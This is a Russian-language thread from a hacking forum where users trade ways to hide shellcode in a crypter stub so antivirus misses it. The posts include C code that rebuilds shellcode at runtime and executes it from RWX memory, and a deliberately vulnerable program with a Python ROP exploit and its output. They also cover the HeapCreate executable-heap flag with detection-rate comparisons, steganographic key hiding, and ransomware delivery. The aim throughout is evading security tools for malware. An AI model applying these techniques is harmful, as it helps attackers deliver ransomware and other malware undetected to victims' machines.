• XSS.stack #1 – первый литературный журнал от юзеров форума

Распределение пейлоада по стабу

Jeffs

(L1) cache
Забанен
Регистрация
28.12.2018
Сообщения
611
Реакции
358
Пожалуйста, обратите внимание, что пользователь заблокирован
Собственно вопрос в заголовке, у кого какие идеи есть? Есть условный массив байт (шеллкод), его нужно скопировать в RWX-память и выполнить. Но как его хранить в самом файле? Понятное дело просто массивом - палево.
Есть идея разбросать все данные по коду, каждый байт высчитывать в рантайме, упрощённый пример:
C:
DWORD index;

DWORD plus(DWORD a, DWORD b)
{
    return a + b;
}

DWORD mul(DWORD a, DWORD b)
{
    return a * b;
}

void f1(BYTE* mem)
{
    mem[index++] = mul(plus(1, 2), 1);
    ...
}

void f2(BYTE* mem)
{
    mem[index++] = mul(21, 3);
    ...
}

int main()
{
    DWORD shellSize = 5;
    BYTE* shellMem = (BYTE*)VirtualAlloc(NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    DWORD flow[] = { 2, 1, ... };
    for (DWORD i = 0; i < sizeof(flow), i++)
    {
        switch (i)
        {
            case 1:
                f1(shellMem);
                break;
            case 2:
                f2(shellMem);
                break;
            case ...:
                ...
                break;
        }
    }

    // по итогу shellMem = {0x3F, 0x03, ...}
    
    return 0;
}
Т.е своеобразный декриптор, который можно легко как-либо морфить/обфусицировать. Флоу выполнения функций-декрипторов можно генерировать с помощью ГПСЧ с заданным сидом. Каждая функция-декриптор записывает рандомное число байт.
 
Но как его хранить в самом файле?
В самом очевидном случае - opaque predicates. Делай константы вычисляемой на рантайме функцией, которая может быть достаточно вычислительно сложной, чтобы в довесок произвести атаку на ресурсы эмулятора.
Можно и посложнее. Накину мыслей тебе. Кури тему ROP и различных оверфлоу техник. Твоя задача симулировать уязвимость и проэксплуатировать ее в своем же софте. Смысл в том, что кода с вредоносным умыслом изначально в апп не содержится, ты его собираешь можно сказать по кускам из разных частей твоего апп, а недостающие куски можно умышленно вставить в тело секции ибо апп тебе подконтрольно в этом плане. При чем эти недостающие куски сами по себе могут не содержать полезного, то есть обычный треш. Тут и секция твоя имеет права на исполнения и с помощью ASLR не рандомизируется... Ты просто крафишь флоу вызовов из полного несвязного треша, которые приведут к нужному тебе поведению твоего апп. Простой пример .

Имеем вот такой код, собранный без стековых канареек.

C:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int some_var = 6;

void food(char *magic) {
  printf("You're: %d\n", *magic); 
}

void vuln(char *string) {
  char buffer[100] = {0};
  strcpy(buffer, string);
  return;
}

int main(int argc, char** argv) {
  if (argc > 1) {
    vuln(argv[1]);
  } else {
    printf("\nerror\n");
  }
  return 0;
}
В данном примере food никогда не будет вызвана при обычных раскладах. Она даже нигде не вызывается по коду. То есть в коде нет инструкций, которые отдадут на нее управление. По сей причине, кстати, есть мнение, что кодоанализатор ав попросту никогда не пометит эту функцию, как необходимую к эмуляции.
Ну а теперь я хочу, например, передать на нее управление, при переполнении, и дать ей в качестве аргумента адрес some_var. Python 2.7
Python:
import struct
import os

payload = "A"*108
payload += "BBBB"

food = 0x080488a5 # addr food
payload += struct.pack("I", food)
payload += struct.pack("I", 0x080a87a6) # addr pop ret
payload += struct.pack("I", 0x80d9068) # addr (int some_var = 6)

os.system("./app \"%s\"" % payload)
Результат
$ python exploit.py
You're: 6
-----
Ну и как приблеженный к боевому вариант: переполнять, подавая не через аргументы cmdline, а получая нужную строку по сети, отдавая ее, спустя N запросов(натуральная задержка). А на сервере уже формировать все свои ROP цепочки меняющие флоу и собирающие из порций данных, разбросанных по всему коду - уже осмысленные данные.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Вот тут тебя и поймают.
Да, я это понимаю. С этим ничего не поделаешь.
Можно, конечно, заставить компилятор положить шеллкод в секцию .text, но что-либо перезаписать в шеллкоде не получится. Да и расшифрованные данные можно будет так же вытащить.
C:
#pragma section(".text")
__declspec(allocate(".text")) BYTE shell[] = { ... };

В самом очевидном случае - opaque predicates.
Да, в моём примере в переменной flow задан порядок выполнения функций, просто указал статик-данными, чтоб была более понятна мысль. Можно генерировать в рантайме кастомным генератором случайных чисел, там есть где разгуляться, чтоб ресурсов эмулятора пожрать.
 
Обязательно стоит высчитывать каждый байт? Не проще по сложной формуле брать из массива с мусором нужные байты?
П.С в крипторах не разбираюсь, но мне интересно
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Обязательно стоит высчитывать каждый байт? Не проще по сложной формуле брать из массива с мусором нужные байты?
П.С в крипторах не разбираюсь, но мне интересно
Больше рандомного кода -> лучше, как по мне.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Да, я это понимаю. С этим ничего не поделаешь.
Ну создание исполняемой кучи или двойное отображение (одно с RW, другое с RX) одной секции - не так очевидно для аверов, как VirtualAlloc.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ну создание исполняемой кучи или двойное отображение (одно с RW, другое с RX) одной секции - не так очевидно для аверов, как VirtualAlloc.
Не совсем понял, что за "исполняемая куча"?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Не совсем понял, что за "исполняемая куча"?
HeapCreate с флагом HEAP_CREATE_ENABLE_EXECUTE.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
HeapCreate с флагом HEAP_CREATE_ENABLE_EXECUTE.
Даже не знал о подобном флаге. Тестану, благодарю.

UPD:
Даже в статике меньше ав детектит:
HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, ...);: https://www.virustotal.com/gui/file...c93382bbf9a94f58cdfd00cb3b4e4096b544fc3ad84c/
VirtualAlloc(..., PAGE_EXECUTE_READWRITE);: https://www.virustotal.com/gui/file...5b574b6803d55773fdd0c3072aace4b2675f1748f8d7/
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Кстати как вариант - можно стековую ВМ забабхать, шеллкод перегонять в байт-код и исполнять. Тут так же есть где разгуляться. Правда у меня мозгов не хватит подобное реализовать.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Возможно не совсем по теме, но кто какие кодогенераторы сишного кода использует? Я что-то по гитхабу пробежался - ничего дельного не нашёл. Желательно на си/++. Неужто такую банальную штуку никто ещё не написал?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Пожалуйста, обратите внимание, что пользователь заблокирован
Пожалуйста, обратите внимание, что пользователь заблокирован
Я думаю, что лучше "разбивать" пейлоад по всему файлу, скажем часть как простые строковые массивы, часть в ресурсах (string), а часть можно и генерировать динамически. Главное, чтобы был баланс, файл должен максимально быть похожим на нормальные. Тут когда-то были тулзы TauChecker или как там его, поиск аномалий в ЕХЕ файле (в помощь криптору). Потому что если все хранить в массиве - будет перекос в данные, надо тогда генерить говнокод, чтоб было более менее правдоподобно; если все генерить кодом , будет огромная кодосекция (банальный цикл вида : нужен 'A' - инкрементим нуллбайт 0х41 раз для генерации 100кб файла получается около 12 мегабайт).
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Один из вариантов - криптовать шк как-нибудь алгосом и получить представление в виде char, string.
Т.е. SGVsbG8gV29ybGQ= - например.
Разбиваем каждый символ S - в виде char, после в int - 83.
И морфим как говорилHaunt в своей статье.

В конечном итоге собирается в VirtualAlloc наш зашифрованный шк, с которого мы должны снять крипт алгосом.
Ключ можно хранить везде.
Как вариант - своя же иконка в виде стенорграфии. Подгружаем ресурсом иконку, парсим и получаем клчю. Снимаем крипт, меняенм на execute memory и стартим шк.

Как сказал апокс - выебать могут на хуке VirtualAlloc - ниче не поделаешь.

а получая нужную строку по сети, отдавая ее, спустя N запросов(натуральная задержка).
Как вариант - да.
Но у локеров бывает, что в сетке плохой инет или вовсе нету.
Во многом молваре - универсально, но бывают исключения.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Не подскажешь подобных чекеров?
в архиве прикрепил
обсуждение здесь https://xss.pro/threads/23057/ + ищи по форуму по ключевым словам
оффлайн чекера нет, найду - скину.
 

Вложения

  • TauScanner.zip
    273.4 КБ · Просмотры: 13


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх